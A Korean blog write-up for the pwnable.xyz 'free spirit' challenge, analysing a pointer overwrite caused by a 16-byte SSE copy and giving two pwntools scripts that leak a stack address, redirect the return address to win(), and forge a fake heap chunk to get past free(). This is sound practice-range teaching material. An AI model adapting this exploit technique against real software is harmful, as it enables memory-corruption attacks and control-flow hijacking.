tmxklab

[Pwnable.xyz] free spirit 본문

War Game/Pwnable.xyz

[Pwnable.xyz] free spirit

tmxk4221 2020. 3. 30. 17:31

1. 문제

nc svc.pwnable.xyz 30005

 

1) 문제 확인

- 1을 입력하면 입력을 받을 수 있음

- 2를 입력하면 어떠한 주소 값 출력

- 3을 입력하면 그냥 넘어감(?)

- 나머지 값을 입력하면 Invalid 출력

 

2) 함수 확인

- 일단 메인함수와 win함수가 보임

 

2-1) IDA(hex-lay) - 메인 함수

  • line 14: buf변수를 64bytes만큼 동적할당

  • line 20 : char형 포인터 변수인 v3가 nptr을 가리킴

  • line 21~25 : for문이 12번 반복하면서 nptr에 저장된 값을 초기화 시켜주는 것 같다.

  • line 26~27 : read()를 통해 입력 값을 받아 int형으로 변환한 값을 v5에 저장

  • line 28~30 : 1을 입력한 경우 buf에 32bytes까지 입력받을 수 있음

  • line 34~36 : 2를 입력한 경우 어떤 변수의 주소 값을 출력함(이따가 디버깅할 때 확인할 예정)

  • line 38~42 : buf에 저장된 값을 aligned memory되도록 16bytes만큼 v8에 저장

  • line 43~46 : 이외의 값을 입력할 경우 Invalid출력

  • line 51~52 : buf에 값이 없는 경우 exit실행하여 프로그램 종료, (buf에는 현재 malloc되어 있으므로 heap영역의 주소 값이 저장되어 있음)

  • line 53 : free함수를 통해 buf에 할당된 메모리를 해제

 

2-2) IDA(hex-lay) - win함수

 

 

3) 메모리 보호기법 및 파일 정보 확인

 


 

2. 접근 방법

1) 디버깅

menu(1)

- syscall을 통해 buf가 가리키는 0x602260에 값을 저장

 

확인결과)

 

menu(2)

- *buf[rbp-0x58] : 0x7ffffffede70(스택) → 0x602260(힙)

 

 

menu(3)

- 처음 보는 명령어이지만 잘 보면 rax(rsp+0x10)값을 xmm0으로 옮긴 다음 다시 rsp+0x8에 옮기므로 결국 rsp+0x10(buf) -> rsp+0x8(v8)로 복사한다.

 

확인결과)

- buf의 값이 $ rsp+0x8 (v8[$rbp-0x60])에 잘 들어간 것을 확인할 수 있다.

- 하지만, $rsp+0x10부분(buf[rbp-0x58])에 값이 사라졌다.

- 그래서, 그 이후로 1, 2, 3이 아닌 다른 값을 넣어서 진행해보면...

- exit()가 실행되어 종료된다.

 

2) __mm_<intrin_op>_<suffix> instruction

void _mm_storeu_si128(__m128i* mem_addr, __m128i a);
_mm_loadu_si128(__mm128i const* mem_addr);

참고링크 : https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=_mm_loadu_si12&expand=5652 
 

Intel® Intrinsics Guide

 

software.intel.com

 

buf에 저장된 데이터들 중 16bytes만큼 로드하여 v8에 16bytes만큼 저장하는 로직이다.

buf가 가리키는 힙 영역(0x602260)에는 "AAAAAAA\a"(8bytes)이외에도 다음 8bytes까지 v8에 저장되는 것이다.

하지만 v8은 [rbp-0x60]에 위치하고 buf는 [rbp-0x58]에 위치하므로 v8다음 8bytes에는 buf가 존재한다.

그래서 menu(3)번을 입력하면 v8에 16bytes만큼 복사되어 buf까지 overwrite가 되는 것이다!! 취약점 발생

 

만약 buf에 [dummy(8bytes)] + [ret address(8bytes)]를 입력하여 overwrite시키면 buf는 ret을 가리킬 것이고 다시 buf에 win함수의 주소 값을 입력하게 되면 ret는 win함수를 가리키게되어 main함수가 종료되면서 win함수가 실행된다.

(이 때, buf는 스택상에 위치하므로 menu(2)번을 통해 buf의 주소 값을 가지고 계산하여 ret의 주소 값을 알 수 있다.)

 

3) 문제점

위와 같은 방법으로 ret에 win함수의 주소 값을 넣어 실행하면 free함수에서 터지게 된다.

- 3번 메뉴를 실행하고 ret위치(buf + 0x58)에 잘 들어가 있는지 확인

- dummy(8bytes) + ret address(8bytes)[buf]가 잘 들어가 있는 것을 확인할 수 있다.

- win() address : 0x400a3e

- ret address에 0x400a3e가 들어가 있는 것을 확인할 수 있다.

 

이제, 남은 것은 main함수의 ret를 실행시키는 것을 확인하는 것이다.

- 하지만, free에서 유효하지 않은 포인터라며 ret를 실행할 수 없다.

- 이는 buf에 원래 0x602260(할당된 메모리 힙 영역의 주소)대신에 0x400a3e(win() address)가 들어가 있기 때문이다.

- free함수는 Heap Chunk구조가 맞지 않으면 터지게 된다. 

 

4) 문제 해결1

그래서 buf가 malloc으로 할당 받은 메모리 시작주소(0x602260)을 다시 원래대로 돌려놓으면 정상적으로 free가 실행되고 ret를 통해 win함수가 실행될 것이라고 생각했다.

+) 위 과정에서 추가로 한번 더 menu 1, 3을 거쳐 buf에 0x602260저장

 

확인결과)

- free가 pass되었다!!

- ret까지 왔으며 $rsp에 win함수의 주소 값이 들어있다.

- main함수의 ret실행 후 win함수로 이동되었다.

 

이제, 이를 가지고 익스코드를 짜서 원격에서 실행

from pwn import *

context.log_level="debug"

p = remote("svc.pwnable.xyz", 30005)
#p = process('./challenge', aslr=False)
#gdb.attach(p)
#e = ELF('./challenge')
win = p64(0x400a3e)

p.sendafter('>','2')

buf_addr = int(p.recvline()[3:-1], 16)
ret = p64(buf_addr + 0x58)
log.info("buf_addr : " + str(p64(buf_addr)))
log.info("ret_addr : " + str(ret))

payload = "A"*8 + ret
p.sendafter('>', '1')
#sleep(10)
p.send(payload)

p.sendafter('>', '3')
p.sendafter('>', '1')

#sleep(10)
payload = win + p64(0x602260)
p.send(payload)

p.sendafter('>', '3')
p.sendafter('>', 'a')

p.interactive()

 

- 간과했던 것이.. 로컬에서는 ASLR을 끄고 디버깅 한것이다. (원격에서는 ASLR 작동)

 

5) 문제해결 2

이제 두 번째 방법으로 free함수는 정상적이지 않은 청크 구조는 터지므로 정상적인 청크 구조를 만들어서 free를 통과시키는 것이다.

이를 위해서 일단 청크 구조를 만들 힙 영역의 주소 값을 찾는다.

- 0x601000 ~ 0x602000에는 쓰기가 가능하므로 이 부분을 이용하기로 한다.

 

+청크구조)

- 청크(Chunk) : malloc()으로 할당받는 영역과 헤더를 포함한 영역

- 32bit환경에서는 8bytes배수, 64bit환경에서 16bytes배수로 할당

 

참고 1)

 

[glibc] malloc - 1

Heap 요청에 따라 할당되는, chunk의 형태로 나뉠 수 있는 (인접한)연속된 메모리 영역을 의미한다. 예전에는 한 어플리케이션에 하나의 힙만 존재했지만, 지금은 한 어플리케이션이 여러 힙을 가��

umbum.dev

참고 2)

 

11. Heap 이론 정리1 (Chunk)

Chunk- malloc()으로 할당 받는 영역과 header를 포함한 영역을 뜻한다.- header란 prev_size와 size를 뜻...

blog.naver.com

 

청크 구조 확인)

- "AAAAAAAA"입력한 경우(뒤에 0xa는 엔터 포함됨;;)

- 먼저 prev_size에서 이전 청크가 존재하지 않으므로 0x0으로 설정되어 있다.

- size에서 buf에 0x40만큼 malloc해주었으며 header(0x10)를 더한 값에 PREV_INUSE(0x1)가 세팅되어 있어 0x51로 되어있다.

(이전 청크가 존재하지 않았는데 1로 세팅된 이유는 병합할 필요가 없기 때문에)

- 마지막에 Top Chunk에서 0x20d61은 처음 0x21001이었다가 크기가 0x40만큼 할당 요청이 들어오면 헤더(0x10)를 포함한 0x250을 빼게 되어 0x206d1이 된 것

(참고로 0x250을 빼는 이유는 사용자가 사용한 malloc이외에 printf나 다른 라이브러리 함수에서도 malloc이 사용될 수 있으며 0x250은 glibc 2.26버전 이후부터 생긴 tcache관련 로직인데 탑 청크는 0x250짜리 청크 하나랑 코드에서 malloc한 거 총 2개여서 그런듯 이 부분 나중에 힙 공부할 때 깔끔하게 정리해야게따... 일단 지금은 패스)

 

6) 결론

  • menu1과 3에서 발생하는 취약점을 이용

  • ret위치에 win함수의 주소 값을 저장

  • free함수를 통과시키기 위해 가짜 청크 구조를 만듦

 


 

3. 풀이

1) 공격순서

 

 

 

 

 

 

 

 

 

 

2) 공격 코드

from pwn import *

context.log_level="debug"

r = remote("svc.pwnable.xyz", 30005)

win = p64(0x400a3e)

# 1. buf addr leak
r.sendafter('> ', '2')

buf_addr = int(r.recv(14),16)

# ret = buf[rbp-0x58] + 0x58
ret = p64(buf_addr + 0x58)

# 2. payload = dummy(8bytes) + ret
payload = "A"*8 + ret
r.sendafter('> ', '1')
r.send(payload)

# 3. buf -> ret
r.sendafter('> ', '3')

# 4. payload = win() addr + heap header addr
payload = win + p64(0x601018)
r.sendafter('> ', '1')
r.send(payload)

# 5. buf -> heap header
r.sendafter('> ', '3')

# 6. payload = header_size + top chunk addr
payload = p64(0x21) + p64(0x601038)
r.sendafter('> ', '1')
r.send(payload)

# 7. buf -> top chunk
r.sendafter('> ', '3')

# 8. payload = top chunk(0x21001 - 0x250 - 0x21) + free addr
payload = p64(0x20d91) + p64(0x601020)
r.sendafter('> ', '1')
r.send(payload)

# 9. buf -> free addr
r.sendafter('> ', '3')

# main end
r.sendafter('> ', 'a')

r.interactive()

 

3) 공격 실행

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] xor  (0) 2020.04.09
[Pwnable.xyz] note  (0) 2020.04.09
[Pwnable.xyz] grownup  (0) 2020.03.30
[Pwnable.xyz] misalignment  (0) 2020.03.27
[Pwnable.xyz] add  (0) 2020.03.07
Comments